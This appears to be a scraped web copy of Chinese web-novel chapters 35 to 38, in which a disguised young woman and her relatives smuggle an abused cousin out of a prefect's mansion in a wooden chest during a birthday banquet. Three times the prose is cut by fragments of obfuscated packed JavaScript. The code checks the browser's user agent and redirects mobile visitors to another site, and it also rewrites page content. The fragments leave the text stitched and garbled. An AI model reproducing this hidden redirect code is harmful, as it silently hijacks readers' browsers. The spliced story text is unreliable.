管事嬷嬷转向范神医,“范先生,这边请。” 范神医这才走到在床前坐下,柳舜华麻利地递过药箱。 门口的侍从向管事嬷嬷使了个眼色,管事嬷嬷会意,笑道:“范先生身边怎么换了个人?” 柳舜华心下一紧,有些僵硬,一动也不敢动。 范神医从容地施着针,手上的动作并未停,“前几日带的那个,话太多,嘴太碎。替贵人们相看病情,还是话少的好。” 管事嬷嬷点了点头,瞥了一眼柳舜华,柳舜华竭力按下心内的忐忑,索性抬起头,对着她点头示意。 她照过镜子,她的男装应当不会被认出,唯一需要克服的便是自己心内的恐惧。 管事嬷嬷没瞧出什么,对着门口的侍卫摇了摇头。 范神医施完针,柳舜华干净利落地收了针,递上止痛的药膏。 这两日,贺玄度带着她在范神医的医馆内忙活了两日,熟悉各种药材、药膏,以防在刺史府被人察觉出端倪。这种打下手的小事,她私下练了不下百遍,早已烂熟于胸。 管事嬷嬷盯着柳舜华看了片刻,突然道:“范神医,你这个徒弟瞧着有些面善。” 柳舜华递药膏的手,微微一顿,旋即收了回来。 她心如擂鼓,面上却丝毫未显,这种情况下,她只能配合范神医。 果然,范神医只是打开药膏,不动声色地涂抹在郑充的伤处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909086|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我这个徒弟,长得有些秀气,看起来格外和善些,来医馆瞧病的人,都说他面善得像自家亲戚呢。” 范神医微微叹了一口气,“不过,他也是个可怜孩子,前些日子逃荒过来的,还是个哑的,可惜了啊。” 管事嬷嬷瞬间面露遗憾:“我说怎么不说话,原来是个哑的。我方才还想着,人长这么俊,手脚又麻利,想将我那侄女……” 门口咳咳两声,管事嬷嬷遂止住话头。 柳舜华这才松口气,看来这管事嬷嬷并未认出她,只是想套近乎。 范神医涂好药膏,仔细包扎好,叮嘱道:“涂抹药膏后,可能会出现瘙痒的症状,你们要看着些。” 管事嬷嬷看着方才照看的小丫头,“听到没有,给我仔细些。” 范神医扫了一眼那丫头,“还有,伤处莫要碰到脏东西,尤其是汗液,要勤快些,常常擦拭,不能毛手毛脚的,以免渗进水引起炎症。若是照顾不周,只怕会落下什么病根啊。” 那小丫头是个精明的,眼一转,上前道:“嬷嬷,擦洗这些事,以往都是少夫人伺候的。少夫人心细,伺候得又好,我们这些人笨手笨脚的,自然没法比。” 管事嬷嬷一合计,少爷是府内独苗,若有什么差池,她可担待不起,不如就找个垫背的,出了事她也好推脱。 “正是,若论心细周到,你们便是一百个也比不过少夫人。” 范神医捋着胡须,“既如此,那烦请将少夫人请出来,我当面亲自示范一下,以防有失。另外,公子的每日吃食,也需交待一下。” 管事嬷嬷面露难色朝着门外看去,门外的侍卫一时也有些踌躇。 “去,去,去”床上的郑充含糊不清地叫起来。 管事嬷嬷走进,仔细听了片刻,低声问:“公子可是要叫少夫人过来?” 郑充终于疲惫地点点头。 柳舜华心内冷笑,这个时候,倒是想起表姐来了。 管事嬷嬷心下生喜,她正愁如何能脱手,当即让人去请了少夫人。 少顷,陈茵走了进来。她微垂着头,脚步虚浮,依旧是厚厚的一层胭脂,面无表情。 不过才隔几日,柳舜华却察觉,表姐似乎老了许多,鬓角已经生了少许白发。 表姐十六岁出嫁刺史府,如今不过二十而已。 柳舜华鼻尖酸楚,捏紧双手,她生怕一个冲动,忍不住上前朝着郑充挥上几拳。 范神医当着陈茵的面,将郑充的手臂轻轻抬起,细细擦拭了一番,问道:“少夫人可看清了?” 陈茵木然地点着头。 范神医瞥了一眼柳舜华,转身朝着陈茵叮嘱道:“郑少爷这些日子的吃食,要格外注意些,少荤腥,多吃些蔬果。另外,郑少爷此前流了太多血,需要补一补。” “尤其是红枣粥,益多食。这枣也有格外讲究,要选那最大最甜的,还要果肉厚实、皮薄核小的。” 陈茵木然的眸中似乎有了一丝光亮,她抬起头来,望向范神医。 范神医一笑,对着柳舜华道:“我药箱中正好有几颗,你拿给少夫人看,日后煮粥,就要挑选这样的。” 柳舜华打开药箱,将早已准备好的红枣拿出,一步步走向陈茵。 陈茵盯着柳舜华,迷茫的目光一瞬有了光彩。 柳舜华忍着泪,朝着她笑了笑,将红枣递了过去。 管事嬷嬷一把过红枣,仔细瞧了一遍,笑道:“这红枣的确饱满皮薄,就是这核不知是不是也小?” 说罢,两手用力一扯,将红枣掰开。 暗红的果肉里,露出一颗小小的核。 管事嬷嬷呵呵笑着,“果然是上品啊,我看我们府内的都比不上。” 范神医笑道:“这些于你们不过是吃食,于我们而言,却是治病的良药,挑选自然要慎重,马虎不得。” 柳舜华听着两人一对一答,暗暗着急。 虽说今日过来只是探查,但若能寻个时机与表姐说上几句,自是最好。只是没想到,刺史府看管比上次尤甚,根本没有机会。 隔着众人,柳舜华偷瞥向陈茵,陈茵也正焦急地望向她。 突然,她瞧见陈茵抬手摸了摸自己的嘴唇。 柳舜华先是一愣,电光火石之间,她好像明白了什么,微微点了点头。 诊治好郑充,管事嬷嬷送范神医出门,陈茵也跟上来送行。 当着外人的面,管事嬷嬷不好多说,只好让她跟着。 柳舜华背着药箱,跟在范神医身后。 出了卧房,迈下台阶时,只听“哎呀”一声,陈茵一脚踏空,眼看就要从台阶上摔下来。 柳舜华眼疾手快,忙跑过去搀住了她。 陈茵幽幽看了她一眼,用尽全身力气,将一只手死死按在柳舜华的手上。 “少夫人。”管事嬷嬷慌忙叫了起来。 陈茵听到叫她,像是受到了惊吓,一把推开搀着她的柳舜华,身子一歪,倒在地上。 管事嬷嬷上前,“少夫人,你怎么样了?” 陈茵微微颤抖着,摊开了手,一双白嫩的手,鲜血淋漓。 再瞧一旁,一粒尖锐的石子上,同样满是血迹。 范神医见状,上前一步,还未张口,便听管事嬷嬷嚷道:“来人啊,快送少夫人去包扎。” 范神医自然明白管事嬷嬷的意思,道别后带着柳舜华出了府。 一直等到上了马车,范神医叹了口气,“没想到刺史府守备如此严密,竟没有说话的机会。柳小姐,没能帮到你,实在对不住。” 柳舜华摇摇头,感激道:“不,范先生高义,已经帮了我许多。而且,今日并非一无所获。” 她缓缓将手掌摊开,掌心赫然多了个红色的“寿”字。 36. 第 36 章 “寿”字是什么意思,柳舜华一时想不明白。 她暗自揣摩了许久,千头万绪,脑中早已是一团乱麻。 送范神医回到医馆,柳舜华没有立即回去,而是去了都尉府。 这些日子她常来,都尉府的人都已经认识了她,可她此刻穿着男装,又一番乔装打扮,侍卫们认不出她,死活不放她进去。 柳舜华没办法,只得让人进去通禀。 过了许久,才有人带着她进去。 花厅廊下,贺玄度不知道在向周松交待什么,眸色深沉,神情严肃,周身笼罩着一股莫名的压迫感。 看到柳舜华进来,贺玄度脸色一变,又是一副飞扬无羁的模样。 柳舜华一身男装,不似先前假装药童时畏畏缩缩的模样,一双眸子明亮得似凉州城夜空里的星辰,虽有些纤弱,但却身姿端正,颇有几分粉面书生的模样。 贺玄度抱臂看着她,调侃道:“柳大公子,这么快便回来了,事情办得怎么样?” 柳舜华先是一愣,旋即想起她现在依旧是男装,摸着头笑了笑。 “来得匆忙,未来得及换衣服,我有件事想要同你说。” 贺玄度弯腰倒了一杯茶,“跑了许久,不累吗,先喝点再说。” 柳舜华没有接,示意贺玄度将茶杯放下,“今日计划有变,未能同表姐说上话。不过,她却给我留了提示,你看。” 说罢便摊开手掌。 贺玄度凑过去一看,便瞧见她掌心的红字,“寿,什么意思?” 柳舜华摇头,“这是表姐仓促间给我的,可我实在猜不透其中深意。” 贺玄度盯着红字看了许久,“你先别急,你表姐给你这个提示,就是想让你看懂这其中的意思,一定不会太复杂,咱们别往那深了想。” 柳舜华低眸沉思片刻,“你说得对,或许就是字面意思,只是我想不明白,表姐被困,与寿辰或寿宴有什么干系。” 两人正苦思冥想,有侍从走了过来,恭敬道:“公子,刺史府派人送来的请柬。” 贺玄度眼眸一沉,“请柬?呈来。” 侍从递上,贺玄度打开,眼中顿时闪过亮光,兴奋地将请柬递给柳舜华。 柳舜华歪过身子,只一眼,便停在几个大字上:元始六年,四月二十,设宴刺史府,恭候大驾。 三日后,是郑刺史的生辰。 柳舜华激动道:“原来如此,表姐是想提醒我,郑刺史的寿宴,是个脱困的机会。” 距郑刺史的生辰宴,还有三日,她一定要在此前,想到一个完全之策,救表姐出火海。 贺玄度思忖良久,“寿宴当日,刺史府人来人往,守备肯定会松懈,的确是个救人的机会。只是一点,郑刺史的生辰,并不是什么秘密,只要稍加打探,不难知晓。你表姐费尽心机给你这个提示,我总觉得这里面,不太寻常。郑刺史的生辰,难道与你表姐被软禁有关?” 柳舜华从激动中暂缓过来,“你是担心,郑刺史这次的生辰宴,有猫腻?” 贺玄度皱眉,他知晓劝不住她,只道:“我总有种不好的预感,柳舜华,若你想在生辰宴上动手,务必要小心行事。” 柳舜华点头,“你放心,我会小心的。倒是你,这寿宴你去吗?” 贺玄度懒懒道:“前些日子都尉府才同他们闹翻,这会还送帖子过来,宴无好宴,搞不好就是场鸿门宴,我就不上赶着去了。” 他转头歪向柳舜华,“而且,万一你需要人手,我也好赶过去帮忙。都尉府百余人,都是你的后盾。” 柳舜华下意识地拒绝,“不用麻烦,我会想办法。” 贺玄度笑了起来,“既不想请我帮忙,那你过来同我说这些做什么?” 柳舜华一怔,连她自己也没意识到,她已习惯把贺玄度当成最信任的人。但凡她有什么拿不定主意的行动,都会不自觉想同贺玄度商量。 她扭过头,嘴硬道:“我顺路,就过来看看。” 贺玄度脸上浮过一抹深意,笑道:“顺路,过来看看?是看我吗,那怎么你都不肯看我一眼?” 柳舜华退后几步,咳了一声,“天色不早了,我要回去了。” 走得很远,还能听到贺玄度在后面大笑。 自都尉府出来,柳舜华抚胸平静,思索一路。 方才贺玄度面前,她一副胸有成竹的模样,不过是不想他牵扯太深。 她知晓,若想救出表姐,单凭她一人断难以成事。 事到如今,表姐之事,是瞒不住了,也没必要再瞒。 庭院内,风吹过枣树沙沙作响。 柳棠华正拉着二表哥在枣树下下棋,她落错了棋,正拿着棋子耍赖。 看到柳舜华回来,她欢喜道:“姐姐你回来了。” 凉州的生活不似长安,时时拘在后宅。这些时日莹妹妹在教她骑马,大表哥教她打野鸡,二表哥教她下水摸鱼,柳棠华整日里玩得忘我,倒也没有分外黏着柳舜华。 柳舜华靠着柳棠华静静地坐了下来,问道:“大表哥和莹儿呢?” 二表哥抬头道:“他们都刚回来,在喂马呢。” 柳舜华又朝着屋内看了一眼,“舅舅、舅母还有外祖都在吧?” 二表哥觉出不对,放下手中的棋子,“舜华,你是不是有什么事想说?” 柳舜华咬了咬唇,点点头。 二表哥起身,开口道:“是不是大姐的事?” 见柳舜华垂下头,二表哥便知猜对了。 方才她问大哥与莹儿,便已猜出个大概,他沉声道:“我去叫他们到大哥房里,不会惊动父母还有祖父。” 柳棠华第一次见姐姐表情如此凝重,乖乖跟在柳舜华身后,一起到了大表哥房内候着。 等了片刻,三人走了进来。 陈莹挨着柳舜华坐了下来,表哥两人则站在一旁。 许久,柳舜华才缓缓开口,“方才,二表哥也同你们说了吧,是关于表姐的事。” 大表哥拧眉道:“是不是郑充他为难姐姐?” 陈莹见话已经说开,也不再藏着掖着,低声道:“前些日子,我们去了刺史府,姐姐她……她被郑充给打了。” 大表哥攥紧拳头,怒道:“郑家欺人太甚,这个杀千刀的郑充,我现在就去宰了他。” 二表哥皱眉,“既如此,不如禀明外祖与父亲,一同去刺史府说理去。” 柳舜华拦住他们,“你们先别急,听我说,事情没有你们想得那么简单。表姐她,被刺史府给软禁起来了。” “软禁?” 众人面面相觑,明显是没想到竟会是这样。 柳舜华缓缓将她打探到的消息,包括表姐的处境悉数告知。 屋内静得可怕。 许久,陈莹捂着脸呜呜地哭了起来。 她误会了姐姐,她以为,姐姐嫁了高门便看不起他们。 却不知,姐姐刻意疏远,只是为了不连累他们。 姐姐在刺史府受苦受难,她却还在怪她。 那日,还说了那样重的话。 姐姐当时,一定难过极了。 大表哥强自镇定,“他们为何要软禁姐姐?” 柳舜华道:“我也不知,只是他们戒备如此森严,定然是大事。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931698|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 二表哥低头想了许久,抬头问:“此事,要不要告诉父亲?” “外祖年纪大了,又病着,此事绝不能让他知晓。至于父亲……”大表哥顿了一下,沉声道:“还是不要让他操心了。” 说完,大表哥长叹一口气,挺直了身子,“我是家中长子,出了这种事,我若不撑起陈家的门面,如何对得起祖宗。明日我就去上刺史府,便是死,也要把姐姐给带出来。” 二表哥站了出来,“大哥,你说这话将我置于何地,我也是陈家的男人。若是眼睁睁看着姐姐受苦,让你一个人出头,我还算什么男人?” 陈莹擦干眼泪,“我虽是女子,也是咱们陈家人,一家人就要同患难,共进退,我也去。” 柳棠华一听,当即附和道:“我也要去,我们一起接大姐姐回家。” 柳舜华鼻头酸楚,“好,咱们一起,只是不是明日。” 陈莹急得直跺脚,“为何?多一日姐姐便多受一日苦。” 柳舜华握住她的手,“我知道你着急,可若要救出表姐,还需从长计议。” 大表哥让自己冷静下来,沉思道:“舜华说得有理,若刺史府真有大动静,咱们即便是去,也带不回姐姐,需想个周全的法子才行。” 二表哥颓然坐在床上,“除了硬闯,还能有什么法子?” 柳舜华上前道:“三日后,郑刺史的寿辰,就是个绝佳的机会。” 大表哥猛地一拍头,“是啊,我怎么把这事给忘了。到时候人多眼杂,咱们正好可以趁乱救出姐姐。” 二表哥叹道:“往年他们老太爷在时,还不忘送请柬过来,今年却是连送都不送了,样子都懒得做。没有请柬,咱们如何进得去?” 柳舜华却道:“这是好事,外祖与舅舅不用去,也免得日后有嫌疑。不过,有一点你说得对,如何在寿宴当日混进刺史府,这的确是个大问题。” 众人沉默片刻,陈莹突然眼睛一亮,“我有一个朋友,她可以带我们进去。” 二表哥看着她,问:“你说的是谁,我怎么不知道你有这么厉害的朋友?” 陈莹咳了一声,低声道:“醉月居的古赞丽。” 大表哥愣了一下,恼道:“你和她是朋友,看来平日里没少去那种地方。我说怎么每到夜市的时候就找不到你人,原来是跑到酒肆去胡混。” 陈莹有些心虚,嘟囔着,“大哥,现在不是骂我的时候,等救出了姐姐,我随你骂。” 柳舜华秀眉一扬,“古赞丽,是上次你说的那个舞姬吗?” 上次醉月居内,陈莹与郑充起了冲突,她忙着应付郑充,并未瞧见古赞丽。 陈莹点头:“对,古赞丽是整个凉州城最好的舞姬,刺史府每年节庆都会邀她去。” 二表哥道:“难不成你想我们都扮成舞姬,跟着她混进去?” 陈莹瞥了他一眼,“我可以自己进去救姐姐,你们在外面接应就好。” 大表哥看着两人吵闹,叹了口气,对着一直低头沉思的柳舜华道:“舜华,刺史府你去过,可有什么主意?” 柳舜华抬眸,望向院中的枣树,“我好像,已经想到办法了。” 接下来的两日,陈莹每日都带着柳棠华前去醉月居,两个表哥从外面扛了许多木头回来,柳舜华拿着画好的图纸,对着它们一通切割拼接。 外祖同舅舅看他们忙里忙外,都是一头雾水。 大表哥谎称此前姐姐留下的柜子太旧,要为柳舜华打造一个新柜子。 紧赶慢赶,柜子终于在寿宴之前完工。 众人看着柜子,长舒一口气,只等着明日寿宴的到来。 37. 第 37 章 四月二十,小满方过,天渐渐热了起来。 刺史府门前早已排起了长龙,一整条街被围得水泄不通,热闹非凡。 柳舜华坐在二楼茶馆,静静地瞧着楼下来来往往的人群。 饶是上辈子曾见识过相府宴席的盛况,她依旧不得不感叹,郑刺史此次寿宴的排场之大。 等了片刻,远远看到两辆马车靠近,马车上皆印着醉月居的标识。 陈莹轻声提醒,“表姐,他们来了。” 柳舜华向下望去,驾车的二表哥觉察到她们的目光,抬起头,朝她们示意一切顺利。 马车内,柳棠华还在摆弄着身上的衣饰,既新奇又兴奋。 她今日穿了醉月居的舞姬装,藕荷色的长裙,越发衬得她出水芙蓉一般。长袖轻盈,像两条水带一样,一条垂下来的流苏腰带上挂着铃铛,稍一碰撞,便发出悦耳的声响。 欣赏完衣裙,柳棠华又将目光转向古赞丽。 她看了看古赞丽,又垂头看了看自己的衣裙,微微一声叹息。 “姐姐,我在长安见过好多美人,可她们全部算起来,都不及你。方才我已经觉得我这身够美了,可一看到你……哎……” 古赞丽被她逗得笑了起来,捏着她的脸,用标准的汉语道:“你这张小嘴,怎么这么招人喜欢,怪不得莹莹总带着你。” 柳棠华扭了扭身子,歪在古赞丽身旁,眨着眼,“姐姐你为什么愿意冒着危险帮我们啊?” 古赞丽转头看向窗外,“我自幼流落到凉州,被养在醉月居。小的时候,还不会跳舞,只能做些洒扫的活计。我手脚笨,又不会汉语,经常被人欺负。有次我在醉月居外洒扫,不小心溅了哪个贵人一身,被他拉便要打,是莹莹她将出来打酒的钱赔给了那人,才让我幸免于难。” 柳棠华点头:“莹姐姐她热心得很,对我也很好。” 古赞丽收回目光,叹声道:“我真羡慕莹莹,有你们这么好的兄弟姐妹。” 柳棠华想着这两日的相处,不忍见她伤感,拉过她的手,一双杏眼亮晶晶的,“不管是在长安还是凉州,我都没什么朋友。姐姐是我这辈子认识的第一个朋友,我虽然成不了姐姐的亲妹妹,但会记得姐姐一辈子的。” 古赞丽眼眶一红,拼命忍住,拉紧柳棠华的手,“有你和莹莹,我这辈子……不枉此生。” 两人正说着便听到有人敲了下窗壁。 大表哥熟悉的声音传来:“姑娘,到了。” 古赞丽对着柳棠华点了点头,两人缓缓下了马车。 大表哥递上请柬,垂着头对着守门的侍卫道:“我们是醉月居的,来此献舞。” 侍卫扒开大表哥,正瞧见两个女子一前一后下了马车。 古赞丽盈盈施礼,对着侍卫微微一笑。 她眼眸深邃而明亮,眼角微挑,鬓边一缕秀发飘起,一身红衣飞扬,飘然欲仙,露出的半截细腰又增添了几分妩媚。 侍卫紧紧盯着古赞丽,呆愣了许久。 大表哥咳了一声,“敢问,可否通行?” 侍卫回过来神,连声道:“自然、自然。” 古赞丽朝大表哥招招手,“你去,将马车上的箱子抬下来。” 大表哥会意,拉着候在一旁的二表哥,抬着箱子便想进门,却被侍卫拦了下来。 古赞丽不动声色,摇曳着上前,主动将箱子打开,“这里面是我今日要用的琵琶,还有舞姬们备用的衣裙等物。” 侍卫凑过去一看,箱子内的确只有一把皮革包着琵琶,整整齐齐地摆放着一些藕色的衣裙,散落几把羽扇。 他挥了挥手,大表哥与二表哥对视一眼,将箱子抬了进去。 看着古赞丽与柳棠华顺利进了刺史府,二楼的柳舜华与陈莹松了一口气。 陈莹拉着柳舜华,试图在做最后的谈判,“表姐,我也想去。” 柳舜华安慰着,“阿莹,我知道你是想帮忙,可是你出入刺史府太多次,侍卫们难免会认出你。你就乖乖在这等着,若是里面万一有什么变故,日落时我们还未出来,你也好立即回去,寻族人过来帮忙。” 此次虽说做了万全的准备,可凡事都有意外,她不得不做最坏的打算。 即便救不出表姐,也要保证其他人的安全。 不能亲自去营救姐姐,陈莹有些失落,“好吧,我听你的。” 柳舜华笑了笑,“你这个才是最重要的,要眼观四路耳听八方。你现在,可是我们所有人的后盾。” 陈莹这才释怀,展颜一笑。 柳舜华告别陈莹,转身去了医馆。 待到日暮,柳舜华换了男装,随同范神医一起踏进了刺史府。 刺史府西院正房,范神医帮郑充换了药,正要起身离开,郑充突然呜呜地叫了起来。 管事嬷嬷吓得不轻,立即上前,“范先生,公子他这是怎么了?” 范神医按住他的手腕,仔细检查一番,面色逐渐凝重起来。 管事嬷嬷轻声道:“范先生,如何了?” 范神医收回手,厉声道:“这些天,不是说要好好补一补气血,怎么还是这么虚?” 管事嬷嬷颤声道:“这些,这些都是少夫人安排的。” 范神医脸色阴沉,“少夫人呢,这么重要的事,怎么照顾得如此草率?” 管事嬷嬷立即道:“来人,还不快请少夫人过来。” 陈茵很快被请了进来,这次她看起来好了许多,脸上的脂粉不似先前那般厚重,眼中也有了几分光彩。 范神医一见她便道:“少夫人,此前老夫说过,要多喝些红枣粥,可有按我给的药方,按时熬给公子服用?” 陈茵瞥了一眼瘫在床上的郑充,淡声道:“每日都有熬煮,我在小厨房亲自熬好喂下的。” 范神医神色略有缓和,“那就奇怪了,不应该啊,是不是熬煮过程出了问题?” 陈茵眼眸一沉,轻声道:“若是范神医不放心,可随我亲自到小厨房去查看,若是我做得不妥,也好顺便指点一二。” 原本柳舜华还有些担心表姐紧张之下露出破绽,却不想她竟如此镇定,不但洞悉了范神医的意图,还顺便解决了他们的难题。 柳舜华心内叹息,在这深宅大院内,即便是再温婉敦厚,都不得不磨砺出一点微不可查的锋芒,以免被风吹雨打得残破零落。 范神医起身道:“也好,我这就随你去看看。郑公子这病,实在耽搁不得。” 管事嬷嬷来不及反应,稀里糊涂地跟着几人出了门。 门口的侍卫见管事嬷嬷跟着,并未劝阻,只是眼神示意两个丫头贴身跟着。 莹儿此前常出入刺史府,对这的布局一清二楚。据她所述,出了正房,绕到郑充平日常用的小厨房,需要经过一处山石掩映的小路。而那里,便是他们动手的地方。 柳舜华心内默默盘算着,还好早料到他们会派人跟着,她们早有准备。 因寿宴摆在前厅,一路上只见零星几个侍女仆从来去匆匆。 几人各怀心事,很快便走到山石处。管事嬷嬷走在最前头,陈茵由两个丫头陪着紧随其后,范神医与柳舜华落在后头。 大路一转,来到山石处,迎面走来两个下人打扮的小厮。 管事嬷嬷一瞧,不像是府内的下人,喝道:“你们是什么人?” 两个小厮慌张卑躬屈膝地垂下头,“我们是今日寿宴请来的帮工,走错了路。” 管事嬷嬷骂道:“蠢东西,怎么绕到这里来了。顺着这个路往前走,看到月洞门,再往前出了花圃,往右转,然后一直走,过了侧门,便到前院了。” 两个小厮抬头,笑道:“多谢。” 管事嬷嬷挥了挥手,一句“赶紧走”还未说出口,只觉眼前一黑,晕了过去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938104|154510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >两个小厮一人制服管事嬷嬷,一人按住一个丫头,另外一个丫头反应过来,转身便要逃。 柳舜华上前挡住她的去路,手一伸,一根带着麻药的细针便插在她脖颈间。 陈茵反应过来,看着眼前的两个小厮,激动得泣不成声,“大弟、二弟……” 两个表哥看到陈茵,哽咽道:“大姐,我们来接你回家。” 陈茵握住两人的手,眼泪簌簌而下。 柳舜华催促道:“快些将她们拖到一旁,免得被人发现。” 大表哥与二表哥忙敛了情绪,将三人拖到山石后。 柳舜华扒了其中一个丫头的外衣,慌忙递给陈茵。 陈茵瘦弱,直接将外衣罩在身上。 收拾妥当后,柳舜华看了看范神医,躬身道:“范先生,有劳了。” 范神医笑着摆摆手,找了个舒服点的地方躺了下去,“哪里的话,老夫只能帮你们到这了,你们千万小心。” 几人不敢停留,朝着舞姬候场的客房走去。 走到客房前,几人止住了脚步。 门外站着两个侍卫。 二表哥让他们侯在一旁,他则趁两个侍卫不备,翻身滚到窗边,对着窗子敲了三下。 柳棠华以腹痛为由,留在此处接应,正在一旁枯坐着,猛地听到声响,一下来了精神。她整理好衣衫,推开房门。 “两位大哥,我还是腹痛难忍,里面的茶已经凉了,能不能讨杯热水喝?” 柳棠华捂住肚子,眨着一双圆溜溜的眼睛,可怜巴巴地望着两个侍卫。 两个侍卫相互看了一眼,略有些为难,“实在对不住,今日守备严,我们不能擅离职守。” 柳棠华疼得声音颤抖,“我实在忍不住了,两位大哥,你们就可怜可怜我吧。” 两个侍卫踌躇道:“烦劳姑娘再忍忍,等到你们同伴回来再说,我们也没办法啊。” 柳棠华弱弱道:“好,我知道你们也不容……” 最后一字还未说出,人已经倒了下去。 两个侍卫吓了一跳,忙弯下腰拍着柳棠华,“你怎么样,没事吧?” 柳棠华努力睁开眼,“我疼得……有点喘不过气。” 其中一个侍卫摸着头,“怎么办,要不要叫人来?” 另一个看了柳棠华一眼,“那要不,你去?” “你去。” “你去。” 两人不忍心看着这么水灵灵的姑娘疼得在地上翻滚,又不敢擅离职守,一时争执不下。 “出什么事了?”大表哥换好了醉月居的衣衫,款步而来。 待走近些,对着躺在地上的柳棠华眨下眼。 方才还在打滚的柳棠华慢慢站起身来,虚弱地扶住门框,“方才……腹痛难忍,已经好……好多了。” 大表哥粗声道:“出来一次还要拖后腿,古赞丽马上就要下场了,没事就赶紧收拾一下。” 柳棠华唯唯诺诺,“我这就去。” 话音方落,古赞丽便同一众舞姬走了进来,身后还跟着二表哥。 看到大表哥,古赞丽挥手道:“你们快去,把东西抬出来,咱们这就回去。” 大表哥与二表哥进屋,将箱子搬了出去。 一众舞姬跟着出了刺史府。 柳舜华早寻借口出了府,提前到二楼与陈莹汇合。 陈莹见到柳舜华,激动道:“怎么样,姐姐没事吧?” 柳舜华坐下,倒了一杯茶,双手微微颤抖,“一切顺利,接下来就看古赞丽的了。” 两人紧盯着刺史府门口,期待着古赞丽的身影。 过了许久,终于瞧见古赞丽走了出来。 大表哥与二表哥紧跟着抬起箱子,费力地搬上马车。 柳舜华与陈莹相视一望,一颗心终于落地。 “等一下。”有人从府内大步走了出来。 38. 第 38 章 柳舜华一颗心瞬间被提起,屏住呼吸,一双眼紧盯着楼下。 那人一身玄衣,瞧着不过二十左右,一双鹰目却透着精光,眼神中满是寒意,“怎么不搜?” 门口的两个侍卫忙上前讨好道:“这是醉月居的舞姬,来的时候已经查过了。” 那人对着一众舞姬扫过去,目光凌厉,看得柳棠华浑身一颤,忙躲到古赞丽身后。 “今日刺史寿宴,鱼龙混杂,怎可如此大意?人员可都核对过了?” 两个侍卫举起手上的册子弯腰道:“六人,一个不多一个不少,您瞧瞧。” 那人走到马车旁,停了下来,目光一扫,拍着尚未抬上去的箱子,“打开。” 古赞丽轻摇腰肢,不慌不忙上前,娇柔道:“这位大人,我们来的时候都检查过了。里面放的是我方才宴席上用的琵琶,还有一些姑娘们备用的衣裙。” 那人冷眼瞧着古赞丽,冷声重复道:“打开。” 大表哥与二表哥看了眼古赞丽,紧张得心砰砰直跳。 古赞丽娇媚一笑,“这位爷,一个箱子而已,不必动怒。爷想看,奴打开便是。” 说罢,她走上前,亲自打开,“爷请看。” 那人走近,仔细一瞧,里面的确只有一把琵琶,还有一叠跳舞穿的衣裙。 他目光微沉,伸手将衣裙扒开,露出箱底。 箱底空空如也。 古赞丽拿出琵琶,半个身子歪过去,“爷是对这琵琶感兴趣?若您不弃,今夜可到醉月居,我定为您弹上一曲。” 那人身子一僵,退后两步。 古赞丽不依不饶,一副看透他的表情,娇笑道:“对琵琶不感兴趣,那必是对这舞衣有兴致。今夜,奴穿上这舞衣,醉月居等您。” 那人不知想起了什么,片刻愣神,又十分嫌弃地看了她一眼,转头朝门内走回去。 古赞丽轻轻将琵琶放回箱子内,朝着二表哥一笑,“还不走。” 醉月居两辆马车一前一后,很快驶离刺史府门前。 待到前方一个岔路口,古赞丽借口要去止云斋取衣裙,将其余人甩开。 二表哥一路驾着马车,终于在一处僻静的巷口停了下来。 “到了,到了。”陈莹早已等候多时,看到马车过来,拉着柳舜华激动不已。 柳舜华来不及回应她,待到马车停稳,一把掀开车帘,矮身钻了进去。 “快,快将东西拿出来。”柳舜华打开箱盖,急道。 众人七手八脚地将东西取出,柳舜华拿出随身携带的短刀,对着侧壁用力一撬,将一块连着箱底的可活动木板取了下来。 陈茵单薄的身躯正靠在箱壁,坐在木箱内,大口喘着气。 “姐姐!”陈莹叫了一声,泪如雨下。 陈茵双眼半睁,嘴唇止不住颤抖,声音嘶哑,“莹儿。” 马车外站着的两兄弟跟着红了眼眶,他们终于将姐姐救了出来。 众人将陈茵扶出木箱,古赞丽忧心道:“刺史府的人很快便会发现,咱们不能耽搁,还是依着原计划,将人暂且安置在醉月居吧。” 陈茵无故失踪,刺史府首要怀疑的,便是陈家。 所以,陈茵暂时还不能回去。 柳舜华点头,“有劳姑娘了。” 几人不敢耽搁,正准备告知二表哥驾车,便听到车外一阵响动。 大表哥浑身戒备,厉声道:“你们是什么人?在此作甚?” 车内几人相视一望,屏住呼吸。 刺史府的人这么快便查来了? 陈莹一手抓着姐姐,一手握紧马鞭,随时等着冲出去。 只听车外有人低声道:“车内可是柳小姐?” 柳舜华侧耳一听,声音有些熟悉,掀开车帘一角朝外望去。 来人竟是都尉府的周松。 柳舜华瞬间放下心来,问道:“你怎么会在这?” 周松笑了笑,“柳小姐是想将人藏在醉月居吧?” 柳舜华微微一诧,点点头。 